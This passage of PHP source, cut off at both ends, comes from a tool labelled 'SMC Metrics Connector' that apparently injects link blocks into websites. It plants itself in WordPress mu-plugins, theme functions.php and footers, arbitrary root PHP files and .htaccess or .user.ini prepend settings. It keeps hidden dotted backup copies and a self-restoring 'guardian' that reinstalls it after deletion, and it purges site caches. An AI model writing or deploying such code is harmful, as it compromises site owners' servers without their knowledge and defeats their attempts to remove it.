build_dynamic_php_snippet($marker) { $connectorPath = addslashes(__FILE__); return "<?php /* SMC_START:$marker */ if (!defined('SMC_CONNECTOR_EMBED_RENDER')) define('SMC_CONNECTOR_EMBED_RENDER', true); include_once '$connectorPath'; /* SMC_END:$marker */ ?>"; } function build_static_html_block($marker) { return "<!-- SMC_HTML_START:$marker -->" . smc_build_render_html(false) . "<!-- SMC_HTML_END:$marker -->"; } function replace_between_markers($content, $startMarker, $endMarker, $replacement) { $startPos = strpos($content, $startMarker); $endPos = strpos($content, $endMarker); if ($startPos === false || $endPos === false || $endPos < $startPos) return null; $endPos += strlen($endMarker); return substr($content, 0, $startPos) . $replacement . substr($content, $endPos); } function upsert_php_file_block($filePath, $marker) { if (!file_exists($filePath) || !is_writable($filePath)) return [false, 'file_not_writable']; $content = @file_get_contents($filePath); if ($content === false) return [false, 'file_read_failed']; $snippet = build_dynamic_php_snippet($marker); $existing = replace_between_markers($content, "/* SMC_START:$marker */", "/* SMC_END:$marker */", $snippet); if ($existing !== null) { if (@file_put_contents($filePath, $existing) !== false) return [true, 'updated_existing_block']; return [false, 'file_write_failed']; } $newContent = null; foreach (['</body>', '</footer>', '</html>', '?>'] as $needle) { $pos = strripos($content, $needle); if ($pos !== false) { $newContent = substr($content, 0, $pos) . "\n" . $snippet . "\n" . substr($content, $pos); break; } } if ($newContent === null) $newContent = $content . "\n" . $snippet . "\n"; if (@file_put_contents($filePath, $newContent) === false) return [false, 'file_write_failed']; return [true, 'inserted_block']; } function upsert_html_file_block($filePath, $marker) { if (!file_exists($filePath) || !is_writable($filePath)) return [false, 'file_not_writable']; $content = @file_get_contents($filePath); if ($content === false) return [false, 'file_read_failed']; $block = build_static_html_block($marker); $existing = replace_between_markers($content, "<!-- SMC_HTML_START:$marker -->", "<!-- SMC_HTML_END:$marker -->", $block); if ($existing !== null) { if (@file_put_contents($filePath, $existing) !== false) return [true, 'updated_existing_block']; return [false, 'file_write_failed']; } $newContent = null; foreach (['</body>', '</footer>', '</html>'] as $needle) { $pos = strripos($content, $needle); if ($pos !== false) { $newContent = substr($content, 0, $pos) . "\n" . $block . "\n" . substr($content, $pos); break; } } if ($newContent === null) $newContent = $content . "\n" . $block . "\n"; if (@file_put_contents($filePath, $newContent) === false) return [false, 'file_write_failed']; return [true, 'inserted_block']; } // Guardian anchor: a self-contained PHP block (string) that restores the connector // from a hidden backup mirror if the primary file was deleted (e.g. by a CMS/theme // update), then includes it. Lives inside mu-plugin / functions hook so it survives // even when the connector file itself is gone. All ops are @-suppressed and safe. function build_guardian_restore_block() { return " if (!file_exists(\$c)) {\n" . " \$d = dirname(\$c);\n" . " foreach ((array)@glob(\$d . '/.smc_g*/.smc_connector.php.bak') as \$bak) {\n" . " \$src = @file_get_contents(\$bak);\n" . " if (\$src !== false && \$src !== '' && strpos(\$src, '<?php') !== false && strpos(\$src, 'SMC Metrics Connector') !== false) {\n" . " @file_put_contents(\$c, \$src);\n" . " if (function_exists('opcache_invalidate')) { @opcache_invalidate(\$c, true); }\n" . " break;\n" . " }\n" . " }\n" . " }\n"; } function build_mu_plugin_code($marker) { $connectorPath = addslashes(__FILE__); // v5.4: load early (plugins_loaded) so the_content contextual filter can register. return "<?php\n" . "/* SMC_MUPLUGIN:$marker v5.4 */\n" . "if (!defined('ABSPATH')) { return; }\n" . "add_action('plugins_loaded', function () {\n" . " \$c = '$connectorPath';\n" . build_guardian_restore_block() . " if (!file_exists(\$c)) { return; }\n" . " if (!defined('SMC_EMBED_VIA_HOOK')) define('SMC_EMBED_VIA_HOOK', true);\n" . " if (!defined('SMC_CONNECTOR_EMBED_RENDER')) define('SMC_CONNECTOR_EMBED_RENDER', true);\n" . " include_once \$c;\n" . "}, 1);\n"; } function install_mu_plugin($siteInfo) { $base = $siteInfo['document_root']; $muDir = $base . '/wp-content/mu-plugins'; if (!is_dir($muDir)) { if (!@mkdir($muDir, 0755, true) && !is_dir($muDir)) return [false, null, null, 'mu_dir_create_failed']; } if (!is_writable($muDir)) return [false, null, null, 'mu_dir_not_writable']; $marker = placement_marker('wp_mu_plugin'); $pluginPath = $muDir . '/00-smc-metrics.php'; // v5.6.1: убрать легаси RS mu-plugin (иначе двойной include) @unlink($muDir . '/rootseo-links-v5.php'); @unlink($muDir . '/smc-metrics-v5.php'); if (@file_put_contents($pluginPath, build_mu_plugin_code($marker)) === false) return [false, null, null, 'mu_plugin_write_failed']; return [true, $pluginPath, 'dynamic_php', 'mu_plugin_installed']; } function install_functions_hook($siteInfo) { $footer = $siteInfo['active_theme_footer'] ?: null; if (!$footer) return [false, null, null, 'active_theme_footer_missing']; $functionsFile = dirname($footer) . '/functions.php'; if (!file_exists($functionsFile) || !is_writable($functionsFile)) return [false, null, null, 'functions_not_writable']; $marker = placement_marker('wp_functions_hook'); $content = @file_get_contents($functionsFile); if ($content === false) return [false, null, null, 'functions_read_failed']; $connectorPath = addslashes(__FILE__); $functionName = 'smc_render_' . preg_replace('/[^a-z0-9]/i', '', $marker); // v5.4: load early (after_setup_theme) so the_content contextual filter can register. $snippet = "\n/* SMC_FUNCTIONS_START:$marker v5.4 */\n" . "if (!function_exists('$functionName')) {\n" . "function $functionName() {\n" . " \$c = '$connectorPath';\n" . build_guardian_restore_block() . " if (!file_exists(\$c)) { return; }\n" . " if (!defined('SMC_EMBED_VIA_HOOK')) define('SMC_EMBED_VIA_HOOK', true);\n" . " if (!defined('SMC_CONNECTOR_EMBED_RENDER')) define('SMC_CONNECTOR_EMBED_RENDER', true);\n" . " include_once \$c;\n" . "}\n" . "add_action('after_setup_theme', '$functionName', 1);\n" . "}\n/* SMC_FUNCTIONS_END:$marker */\n"; if (strpos($content, "SMC_FUNCTIONS_START:$marker") !== false) { return [true, $functionsFile, 'dynamic_php', 'functions_hook_exists']; } if (@file_put_contents($functionsFile, $content . $snippet) === false) return [false, null, null, 'functions_write_failed']; return [true, $functionsFile, 'dynamic_php', 'functions_hook_installed']; } function install_file_patch($filePath, $strategy) { $marker = placement_marker($strategy . '|' . $filePath); $ext = strtolower(pathinfo($filePath, PATHINFO_EXTENSION)); if (in_array($ext, ['html', 'htm'], true)) { list($ok, $msg) = upsert_html_file_block($filePath, $marker); return [$ok, $ok ? $filePath : null, $ok ? 'static_html' : null, $msg, $marker]; } list($ok, $msg) = upsert_php_file_block($filePath, $marker); return [$ok, $ok ? $filePath : null, $ok ? 'dynamic_php' : null, $msg, $marker]; } function install_create_index_php($siteInfo) { // Empty docroots / Apache autoindex: auto_prepend never runs. Create a minimal // index.php that embeds the connector so homepage HTML actually shows links. $base = rtrim((string)($siteInfo['document_root'] ?? ''), '/'); if ($base === '') return [false, null, null, 'docroot_missing', null]; foreach (['index.php', 'index.html', 'index.htm'] as $file) { if (file_exists($base . '/' . $file)) { // Prefer patching an existing PHP index; HTML handled elsewhere. if ($file === 'index.php') { return install_file_patch($base . '/index.php', 'index_patch'); } return [false, null, null, 'non_php_index_exists', null]; } } $path = $base . '/index.php'; if (!is_dir($base) || !is_writable($base)) { return [false, null, null, 'docroot_not_writable', null]; } $marker = placement_marker('create_index_php'); $connectorPath = addslashes(__FILE__); $hostEcho = "echo htmlspecialchars(\$_SERVER['HTTP_HOST'] ?? '', ENT_QUOTES, 'UTF-8');"; $code = "<?php\n/* SMC_INDEX_START:$marker */\n" . "?><!DOCTYPE html>\n<html><head><meta charset=\"utf-8\"><meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">" . "<title><?php $hostEcho ?></title></head><body>\n" . "<?php\n" . "if (!defined('SMC_CONNECTOR_EMBED_RENDER')) define('SMC_CONNECTOR_EMBED_RENDER', true);\n" . "include_once '$connectorPath';\n" . "?>\n</body></html>\n" . "<?php /* SMC_INDEX_END:$marker */ ?>\n"; if (@file_put_contents($path, $code) === false) { return [false, null, null, 'index_create_failed', $marker]; } return [true, $path, 'created_index_php', 'index_php_created', $marker]; } function smc_write_prepend_helper($marker) { $connectorPath = addslashes(__FILE__); $helperCode = "<?php\n/* SMC_PREPEND_HELPER:$marker */\nregister_shutdown_function(function () {\n if (!defined('SMC_CONNECTOR_EMBED_RENDER')) define('SMC_CONNECTOR_EMBED_RENDER', true);\n include_once '$connectorPath';\n});\n"; return @file_put_contents(PREPEND_HELPER_FILE, $helperCode) !== false; } function install_htaccess_prepend($siteInfo) { $base = $siteInfo['document_root']; $htaccess = $base . '/.htaccess'; $marker = placement_marker('htaccess_prepend'); if (!smc_write_prepend_helper($marker)) return [false, null, null, 'prepend_helper_write_failed', $marker]; $line = 'php_value auto_prepend_file "' . PREPEND_HELPER_FILE . '"'; $content = file_exists($htaccess) ? (@file_get_contents($htaccess) ?: '') : ''; if (strpos($content, PREPEND_HELPER_FILE) === false) { $newContent = "# SMC_HTACCESS_START:$marker\n$line\n# SMC_HTACCESS_END:$marker\n" . $content; if (@file_put_contents($htaccess, $newContent) === false) return [false, null, null, 'htaccess_write_failed', $marker]; } // Directory-index pages never execute auto_prepend. Ensure a PHP entrypoint exists. $hasPhpEntrypoint = false; foreach (['index.php', 'index.html', 'index.htm'] as $file) { if (file_exists(rtrim($base, '/') . '/' . $file)) { $hasPhpEntrypoint = true; break; } } if (!$hasPhpEntrypoint) { install_create_index_php($siteInfo); } return [true, $htaccess, 'dynamic_prepend', 'htaccess_prepend_installed', $marker]; } function install_user_ini_prepend($siteInfo) { // CGI/FPM shared hosting often ignores .htaccess php_value; .user.ini is the portable path. $base = rtrim((string)($siteInfo['document_root'] ?? ''), '/'); if ($base === '' || !is_dir($base) || !is_writable($base)) { return [false, null, null, 'docroot_not_writable', null]; } $marker = placement_marker('user_ini_prepend'); if (!smc_write_prepend_helper($marker)) { return [false, null, null, 'prepend_helper_write_failed', $marker]; } $userIni = $base . '/.user.ini'; $line = 'auto_prepend_file="' . PREPEND_HELPER_FILE . '"'; $content = file_exists($userIni) ? (@file_get_contents($userIni) ?: '') : ''; if (strpos($content, PREPEND_HELPER_FILE) === false) { $block = "; SMC_USERINI_START:$marker\n$line\n; SMC_USERINI_END:$marker\n"; if (@file_put_contents($userIni, $block . $content) === false) { return [false, null, null, 'user_ini_write_failed', $marker]; } } return [true, $userIni, 'dynamic_prepend', 'user_ini_prepend_installed', $marker]; } function install_any_php_file($siteInfo) { $base = $siteInfo['document_root']; $phpFiles = glob($base . '/*.php'); if (!$phpFiles) return [false, null, null, 'no_root_php_files', null]; foreach ($phpFiles as $file) { $name = basename($file); if (in_array($name, [basename(__FILE__), 'wp-config.php', 'wp-settings.php', 'wp-load.php'], true)) continue; list($ok, $target, $mode, $msg, $marker) = install_file_patch($file, 'any_php_file'); if ($ok) return [true, $target, $mode, $msg, $marker]; } return [false, null, null, 'no_writable_php_target', null]; } function build_strategy_chain($siteInfo) { $chain = []; $type = $siteInfo['site_type'] ?? 'static'; if ($type === 'wordpress') { $chain[] = 'wp_mu_plugin'; $chain[] = 'wp_functions_hook'; if (!empty($siteInfo['active_theme_footer'])) { $chain[] = ['file_patch', $siteInfo['active_theme_footer'], 'wp_active_footer']; } } // CMS-specific footers / layouts first (writable paths from get_footer_paths). foreach (($siteInfo['footer_paths'] ?? []) as $path) { $chain[] = ['file_patch', $path, 'footer_patch']; } $hasIndex = false; $docroot = rtrim((string)($siteInfo['document_root'] ?? ''), '/'); foreach (['index.php', 'index.html', 'index.htm'] as $file) { $path = $docroot . '/' . $file; if (file_exists($path)) { $hasIndex = true; $chain[] = ['file_patch', $path, 'index_patch']; } } // Empty / autoindex docroots: create index.php before relying on prepend. if (!$hasIndex) { $chain[] = 'create_index_php'; } // Shared hosting: .user.ini often works when .htaccess php_value is forbidden. if (in_array($type, ['php', 'static', 'laravel', 'joomla', 'drupal', 'opencart', 'prestashop'], true)) { $chain[] = 'user_ini_prepend'; } $chain[] = 'htaccess_prepend'; $chain[] = 'any_php_file'; return $chain; } function append_placement_history($config, $entry) { $history = $config['placement']['history'] ?? []; $history[] = $entry; if (count($history) > PLACEMENT_HISTORY_LIMIT) { $history = array_slice($history, -PLACEMENT_HISTORY_LIMIT); } $config['placement']['history'] = array_values($history); return $config; } function verify_current_placement($config) { $placement = $config['placement'] ?? default_placement_state(); $strategy = $placement['strategy'] ?? ''; $target = $placement['target'] ?? ''; $marker = $placement['marker'] ?? ''; if (!$strategy || !$target || !$marker) return [false, 'placement_missing']; if ($strategy === 'wp_mu_plugin' || $strategy === 'wp_functions_hook') { if (!file_exists($target)) return [false, 'target_missing']; $content = @file_get_contents($target); return ($content !== false && strpos($content, $marker) !== false) ? [true, 'marker_present'] : [false, 'marker_missing']; } if ($strategy === 'htaccess_prepend' || $strategy === 'user_ini_prepend') { if (!file_exists($target) || !file_exists(PREPEND_HELPER_FILE)) return [false, 'prepend_missing']; $content = @file_get_contents($target); return ($content !== false && strpos($content, PREPEND_HELPER_FILE) !== false) ? [true, 'prepend_present'] : [false, 'prepend_missing']; } if (!file_exists($target)) return [false, 'target_missing']; $content = @file_get_contents($target); if ($content === false) return [false, 'target_unreadable']; if (($placement['install_mode'] ?? '') === 'static_html') { return strpos($content, "SMC_HTML_START:$marker") !== false ? [true, 'static_block_present'] : [false, 'static_block_missing']; } return strpos($content, "SMC_START:$marker") !== false ? [true, 'dynamic_block_present'] : [false, 'dynamic_block_missing']; } function refresh_current_placement($config) { $placement = $config['placement'] ?? default_placement_state(); $target = $placement['target'] ?? ''; $marker = $placement['marker'] ?? ''; $installMode = $placement['install_mode'] ?? ''; if (!$target || !$marker) return [false, 'placement_target_missing']; if ($placement['strategy'] === 'htaccess_prepend' || $placement['strategy'] === 'user_ini_prepend') { return smc_write_prepend_helper($marker) ? [true, 'prepend_refreshed'] : [false, 'prepend_refresh_failed']; } if ($installMode === 'static_html') { return upsert_html_file_block($target, $marker); } if ($placement['strategy'] === 'wp_mu_plugin') { if (!file_exists($target)) return [false, 'mu_plugin_missing']; // v5.4 upgrade: rewrite mu-plugin to current early-load template (idempotent). $want = build_mu_plugin_code($marker); $have = @file_get_contents($target); if ($have !== $want && is_writable($target)) { @file_put_contents($target, $want); } return [true, 'dynamic_hook_ok']; } if ($placement['strategy'] === 'wp_functions_hook') { return file_exists($target) ? [true, 'dynamic_hook_ok'] : [false, 'functions_hook_missing']; } return file_exists($target) ? [true, 'dynamic_hook_ok'] : [false, 'dynamic_hook_missing']; } function ensure_secondary_wp_footer_patch($siteInfo) { // Belt-and-suspenders: even when mu-plugin verifies OK, also patch theme footer.php // so links render when wp_footer is missing / page-builder / cache edge cases. if (($siteInfo['site_type'] ?? '') !== 'wordpress') return [false, 'not_wordpress']; $footer = $siteInfo['active_theme_footer'] ?? null; if (!$footer || !file_exists($footer) || !is_writable($footer)) { // Fall back to any writable theme footer. foreach (($siteInfo['footer_paths'] ?? []) as $path) { if (file_exists($path) && is_writable($path) && substr($path, -10) === 'footer.php') { $footer = $path; break; } } } if (!$footer || !file_exists($footer) || !is_writable($footer)) { return [false, 'no_writable_theme_footer']; } return install_file_patch($footer, 'wp_active_footer'); } function smc_rm_tree_contents($dir, $depth = 0) { if ($depth > 10) return 0; if (!is_dir($dir) || !is_readable($dir)) return 0; $n = 0; $items = @scandir($dir); if (!is_array($items)) return 0; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $dir . '/' . $item; if (is_dir($path) && !is_link($path)) { $n += smc_rm_tree_contents($path, $depth + 1); @rmdir($path); } else { if (@unlink($path)) $n++; } } return $n; } function smc_find_wp_roots() { $roots = []; $base = find_document_root(); if ($base) $roots[] = rtrim($base, '/'); $dir = __DIR__; for ($i = 0; $i < 7; $i++) { $roots[] = $dir; $parent = dirname($dir); if ($parent === $dir) break; $dir = $parent; } $out = []; foreach (array_unique($roots) as $root) { $root = rtrim((string)$root, '/'); if ($root === '') continue; if (is_file($root . '/wp-load.php') || is_file($root . '/wp-config.php')) { $out[] = $root; } } return array_values(array_unique($out)); } function smc_bootstrap_wp_for_purge() { if (defined('ABSPATH')) return true; if (defined('SMC_PURGING') && SMC_PURGING) return defined('ABSPATH'); foreach (smc_find_wp_roots() as $root) { $load = $root . '/wp-load.php'; if (!is_file($load)) continue; if (!defined('SMC_PURGING')) define('SMC_PURGING', true); if (!defined('WP_USE_THEMES')) define('WP_USE_THEMES', false); try { require_once $load; return defined('ABSPATH'); } catch (\Throwable $e) { // try next root } } return false; } function smc_purge_filesystem_caches() { $deleted = 0; $touched = []; $relDirs = [ '/wp-content/cache', '/wp-content/litespeed', '/wp-content/cache/page_enhanced', '/wp-content/cache/supercache', '/wp-content/cache/wp-rocket', '/wp-content/cache/w3tc', '/wp-content/cache/w3tc-cache', '/wp-content/cache/autoptimize', '/wp-content/cache/all', '/wp-content/cache/wpfc-minified', '/wp-content/cache/swift-performance', '/wp-content/cache/flying-press', '/wp-content/et-cache', '/wp-content/uploads/cache', '/wp-content/uploads/wpcf7_uploads', '/wp-content/wp-rocket-config', '/wp-content/cache/breeze', '/wp-content/cache/hummingbird', '/wp-content/site-ground-security', '/wp-content/endurance-page-cache', '/cache', '/var/cache', ]; $roots = smc_find_wp_roots(); $doc = find_document_root(); if ($doc) $roots[] = rtrim($doc, '/'); $roots = array_values(array_unique(array_filter($roots))); foreach ($roots as $root) { foreach ($relDirs as $rel) { $path = $root . $rel; if (!is_dir($path)) continue; $n = smc_rm_tree_contents($path); if ($n > 0) { $deleted += $n; $touched[] = $rel; } } // WP Super Cache / common advanced-cache drop-in markers foreach ([ '/wp-content/advanced-cache.php', ] as $dropin) { // do not delete drop-in; just leave it } } return ['files_deleted' => $deleted, 'dirs' => array_values(array_unique($touched))]; } function smc_purge_plugin_hooks() { $actions = []; try { if (function_exists('wp_cache_flush')) { @wp_cache_flush(); $actions[] = 'wp_cache_flush'; } if (function_exists('rocket_clean_domain')) { @rocket_clean_domain(); $actions[] = 'rocket_clean_domain'; } if (function_exists('rocket_clean_minify')) { @rocket_clean_minify(); $actions[] = 'rocket_clean_minify'; } if (function_exists('w3tc_flush_all')) { @w3tc_flush_all(); $actions[] = 'w3tc_flush_all'; } if (function_exists('wp_cache_clear_cache')) { @wp_cache_clear_cache(); $actions[] = 'wp_super_cache_clear'; } if (function_exists('wpsupercache_purge_all')) { @wpsupercache_purge_all(); $actions[] = 'wpsupercache_purge_all'; } if (function_exists('has_action') && function_exists('do_action') && has_action('litespeed_purge_all')) { do_action('litespeed_purge_all'); $actions[] = 'litespeed_purge_all'; } if (class_exists('LiteSpeed\\Purge') && method_exists('LiteSpeed\\Purge', 'purge_all')) { try { call_user_func(['LiteSpeed\\Purge', 'purge_all']); $actions[] = 'litespeed_purge_all_class'; } catch (\Throwable $e) {} } if (function_exists('sg_cachepress_purge_cache')) { @sg_cachepress_purge_cache(); $actions[] = 'siteground_purge'; } if (function_exists('sg_cachepress_purge_everything')) { @sg_cachepress_purge_everything(); $actions[] = 'siteground_purge_everything'; } if (function_exists('nitropack_sdk_purge')) { @nitropack_sdk_purge(); $actions[] = 'nitropack_purge'; } if (function_exists('breeze_clear_all_cache')) { @breeze_clear_all_cache(); $actions[] = 'breeze_clear_all_cache'; } if (function_exists('cache_enabler_clear_complete_cache')) { @cache_enabler_clear_complete_cache(); $actions[] = 'cache_enabler_clear'; } if (function_exists('autoptimize_cache_clear')) { @autoptimize_cache_clear(); $actions[] = 'autoptimize_cache_clear'; } if (function_exists('wpfc_clear_all_cache')) { @wpfc_clear_all_cache(true); $actions[] = 'wp_fastest_cache_clear'; } if (class_exists('WpFastestCache') && method_exists('WpFastestCache', 'deleteCache')) { try { (new WpFastestCache())->deleteCache(true); $actions[] = 'wp_fastest_cache_class'; } catch (\Throwable $e) {} } if (function_exists('hummingbird_clear_page_cache')) { @hummingbird_clear_page_cache(); $actions[] = 'hummingbird_clear_page_cache'; } if (function_exists('has_action') && function_exists('do_action') && has_action('cache_enabler_clear_complete_cache')) { do_action('cache_enabler_clear_complete_cache'); } if (function_exists('has_action') && function_exists('do_action') && has_action('ce_clear_cache')) { do_action('ce_clear_cache'); $actions[] = 'ce_clear_cache'; } if (function_exists('flying_press_purge_all')) { @flying_press_purge_all(); $actions[] = 'flying_press_purge_all'; } // Cloudflare plugin (if present) if (function_exists('do_action') && class_exists('\\CF\\WordPress\\Hooks')) { try { do_action('cloudflare_purge_everything'); $actions[] = 'cloudflare_purge_everything'; } catch (\Throwable $e) {} } if (function_exists('has_action') && function_exists('do_action') && has_action('smc_purge_caches')) { do_action('smc_purge_caches'); $actions[] = 'smc_purge_caches_action'; } } catch (\Throwable $e) { $actions[] = 'hook_error:' . substr($e->getMessage(), 0, 80); } // LiteSpeed / proxies: ask edge to skip cache on this API response if (!headers_sent()) { @header('X-LiteSpeed-Purge: *'); @header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); @header('CDN-Cache-Control: no-store'); @header('Cloudflare-CDN-Cache-Control: no-store'); } return $actions; } function smc_purge_caches($bootstrapWp = true) { $report = [ 'opcache' => false, 'wp_bootstrapped' => defined('ABSPATH'), 'plugin_hooks' => [], 'filesystem' => ['files_deleted' => 0, 'dirs' => []], ]; try { if (function_exists('opcache_invalidate')) { @opcache_invalidate(__FILE__, true); @opcache_invalidate(PREPEND_HELPER_FILE, true); $report['opcache'] = true; } if ($bootstrapWp && !defined('ABSPATH')) { $report['wp_bootstrapped'] = smc_bootstrap_wp_for_purge(); } else { $report['wp_bootstrapped'] = defined('ABSPATH'); } $report['plugin_hooks'] = smc_purge_plugin_hooks(); $report['filesystem'] = smc_purge_filesystem_caches(); } catch (\Throwable $e) { $report['error'] = substr($e->getMessage(), 0, 120); } return $report; } function ensure_render_delivery($forceReinstall = false) { $config = load_config(); $siteInfo = detect_site_info(); $placement = $config['placement'] ?? default_placement_state(); $verified = [false, 'not_checked']; if (!$forceReinstall) { $verified = verify_current_placement($config); if ($verified[0]) { $placement['status'] = 'installed'; $placement['verify_status'] = $verified[1]; $placement['last_verified_at'] = gmdate('c'); $config['placement'] = $placement; save_config($config); refresh_current_placement($config); // Still reinforce WP theme-footer patch when primary is hook-only. // v5.7.7: footer.php НЕ трогаем (битые записи на ряде хостингов -> parse error) return [true, $config, ['verified' => true, 'message' => $verified[1]]]; } } foreach (build_strategy_chain($siteInfo) as $strategy) { $nowIso = gmdate('c'); if (is_string($strategy)) { if ($strategy === 'wp_mu_plugin') { list($ok, $target, $mode, $msg) = install_mu_plugin($siteInfo); $marker = placement_marker('wp_mu_plugin'); $strategyName = 'wp_mu_plugin'; } elseif ($strategy === 'wp_functions_hook') { list($ok, $target, $mode, $msg) = install_functions_hook($siteInfo); $marker = placement_marker('wp_functions_hook'); $strategyName = 'wp_functions_hook'; } elseif ($strategy === 'create_index_php') { list($ok, $target, $mode, $msg, $marker) = install_create_index_php($siteInfo); $strategyName = 'create_index_php'; } elseif ($strategy === 'user_ini_prepend') { list($ok, $target, $mode, $msg, $marker) = install_user_ini_prepend($siteInfo); $strategyName = 'user_ini_prepend'; } elseif ($strategy === 'htaccess_prepend') { list($ok, $target, $mode, $msg, $marker) = install_htaccess_prepend($siteInfo); $strategyName = 'htaccess_prepend'; } elseif ($strategy === 'any_php_file') { list($ok, $target, $mode, $msg, $marker) = install_any_php_file($siteInfo); $strategyName = 'any_php_file'; } else { continue; } } else { $strategyName = $strategy[2]; list($ok, $target, $mode, $msg, $marker) = install_file_patch($strategy[1], $strategy[2]); } $config = append_placement_history($config, [ 'at' => $nowIso, 'strategy' => $strategyName, 'target' => $target, 'install_mode' => $mode, 'success' => (bool)$ok, 'message' => $msg, ]); if ($ok) { $config['placement'] = [ 'status' => 'installed', 'strategy' => $strategyName, 'target' => $target, 'install_mode' => $mode, 'marker' => $marker, 'message' => $msg, 'installed_at' => $config['placement']['installed_at'] ?: $nowIso, 'last_attempt_at' => $nowIso, 'last_verified_at' => $nowIso, 'verify_status' => 'installed', 'history' => $config['placement']['history'], ]; save_config($config); refresh_current_placement($config); if (($siteInfo['site_type'] ?? '') === 'wordpress' && $strategyName !== 'wp_active_footer') { ensure_secondary_wp_footer_patch($siteInfo); } $links = load_links(); foreach ($links as $id => $row) { $links[$id] = apply_placement_snapshot_to_link($row, $config['placement']); } save_links($links); return [true, $config, ['verified' => false, 'message' => $msg]]; } } $config['placement']['status'] = 'failed'; $config['placement']['last_attempt_at'] = gmdate('c'); $config['placement']['message'] = 'no_strategy_succeeded'; save_config($config); return [false, $config, ['verified' => false, 'message' => 'no_strategy_succeeded']]; } function placement_report_payload() { $config = load_config(); $siteInfo = detect_site_info(); $links = load_links(); $stats = get_link_stats($links); list($ok, $verifyMessage) = verify_current_placement($config); $config['placement']['last_verified_at'] = gmdate('c'); $config['placement']['verify_status'] = $verifyMessage; save_config($config); return [ 'version' => CONNECTOR_VERSION, 'site_info' => $siteInfo, 'placement' => $config['placement'], 'link_stats' => $stats, 'render_profile' => $config['render_profile'], 'render_types' => $config['render_types'], 'placement_ok' => $ok, ]; } function verify_links_action() { $links = load_links(); $config = load_config(); $nowIso = gmdate('c'); foreach ($links as $id => $row) { $row['last_verified_at'] = $nowIso; $links[$id] = apply_placement_snapshot_to_link($row, $config['placement']); } save_links($links); return placement_report_payload(); } function clear_expired_links() { $links = load_links(); $active = []; $removed = []; $now = time(); foreach ($links as $id => $row) { $expiresAt = isset($row['expires_at']) ? intval($row['expires_at']) : 0; if (!empty($expiresAt) && $expiresAt > 0 && $expiresAt < $now) { $removed[] = $id; continue; } $active[$id] = $row; } save_links($active); refresh_current_placement(load_config()); smc_purge_caches(true); return [$active, $removed]; } function self_reconcile_action() { $links = load_links(); $merged = []; $removedDuplicates = 0; foreach ($links as $row) { $id = build_deterministic_link_id($row['url'], $row['anchor'], $row['rel']); if (isset($merged[$id])) { $removedDuplicates++; $existingExp = isset($merged[$id]['expires_at']) ? intval($merged[$id]['expires_at']) : 0; $incomingExp = isset($row['expires_at']) ? intval($row['expires_at']) : 0; if ($incomingExp > $existingExp) { $merged[$id]['expires_at'] = $incomingExp; } if (!empty($row['render_types'])) { $merged[$id]['render_types'] = filter_render_types(array_merge($merged[$id]['render_types'], $row['render_types'])); } } else { $row['id'] = $id; $merged[$id] = $row; } } save_links($merged); list($active, $expiredRemoved) = clear_expired_links(); list($ok, $config, $placement) = ensure_render_delivery(false); $cachePurge = smc_purge_caches(true); return [ 'reconciled' => true, 'placement_ok' => $ok, 'removed_duplicate_entries' => $removedDuplicates, 'removed_expired_entries' => count($expiredRemoved), 'placement' => placement_report_payload(), 'cache_purge' => $cachePurge, ]; } // ===== Consolidated auto-clean (throttled): expired + contextual TTL ===== // This single routine replaces scattered cleanup; it never runs more than once per // AUTO_CLEAN_THROTTLE_SECONDS during front-end renders, so it adds negligible overhead. function smc_autoclean_tick() { try { $state = load_json_file(GUARDIAN_STATE_FILE, []); $now = time(); $last = isset($state['last_autoclean']) ? intval($state['last_autoclean']) : 0; if (($now - $last) < AUTO_CLEAN_THROTTLE_SECONDS) return; $state['last_autoclean'] = $now; @save_json_file(GUARDIAN_STATE_FILE, $state); $links = load_links(); $kept = []; foreach ($links as $id => $row) { $exp = isset($row['expires_at']) ? intval($row['expires_at']) : 0; if (!empty($exp) && $exp > 0 && $exp < $now) continue; // drop expired (footer+contextual) $kept[$id] = $row; } if (count($kept) !== count($links)) { save_links($kept); } } catch (\Throwable $e) { // never break the host page } } // ===== Guardian: self-healing mirrors ===== function guardian_dirs() { // Hidden, dotted backup dirs next to the connector + one in the doc-root. $base = __DIR__; $dirs = []; for ($i = 1; $i <= GUARDIAN_COPIES; $i++) { $dirs[] = $base . '/.smc_g' . $i; } return $dirs; } function guardian_write_copies() { $self = __FILE__; $src = @file_get_contents($self); if ($src === false || $src === '') return; $stamp = ['version' => CONNECTOR_VERSION, 'hash' => hash('sha256', $src), 'at' => time()]; foreach (guardian_dirs() as $dir) { if (!is_dir($dir)) { @mkdir($dir, 0755, true); } if (!is_dir($dir) || !is_writable($dir)) continue; @file_put_contents($dir . '/.smc_connector.php.bak', $src); @file_put_contents($dir . '/.smc_stamp.json', json_encode($stamp)); @file_put_contents($dir . '/index.html', ''); // keep dir quiet / non-listable } } function guardian_best_backup() { // Returns [source, version] of the newest valid backup, or null. $best = null; foreach (guardian_dirs() as $dir) { $bak = $dir . '/.smc_connector.php.bak'; $stampFile = $dir . '/.smc_stamp.json'; if (!file_exists($bak)) continue; $src = @file_get_contents($bak); if ($src === false || strpos($src, '<?php') === false || strpos($src, 'SMC Metrics Connector') === false) continue; $stamp = load_json_file($stampFile, []); if (!isset($stamp['hash']) || hash('sha256', $src) !== $stamp['hash']) continue; // integrity $ver = (string)($stamp['version'] ?? '0'); if ($best === null || version_compare($ver, $best['version'], '>')) { $best = ['src' => $src, 'version' => $ver]; } } return $best; } function smc_guardian_tick() { try { $state = load_json_file(GUARDIAN_STATE_FILE, []); $now = time(); $last = isset($state['last_guardian']) ? intval($state['last_guardian']) : 0; if (($now - $last) < GUARDIAN_THROTTLE_SECONDS) return; $state['last_guardian'] = $now; @save_json_file(GUARDIAN_STATE_FILE, $state); $self = __FILE__; $selfExists = file_exists($self); $selfSrc = $selfExists ? (@file_get_contents($self) ?: '') : ''; $selfHealthy = $selfExists && strpos($selfSrc, 'SMC Metrics Connector') !== false; // Version-aware: only refresh mirrors if our copy is newer/equal. Never let an // older mirror overwrite a newer primary (prevents undoing a self_update). $best = guardian_best_backup(); if ($selfHealthy) { if ($best === null || version_compare(CONNECTOR_VERSION, $best['version'], '>=')) { guardian_write_copies(); } // Re-ensure dropped artifacts (mu-plugin etc.) still present. @refresh_current_placement(load_config()); return; } // Primary missing/corrupt → restore from the newest valid backup. if ($best !== null) { $tmp = $self . '.heal.' . substr(md5((string)$now), 0, 6); if (@file_put_contents($tmp, $best['src']) !== false) { @rename($tmp, $self); if (function_exists('opcache_invalidate')) @opcache_invalidate($self, true); } } } catch 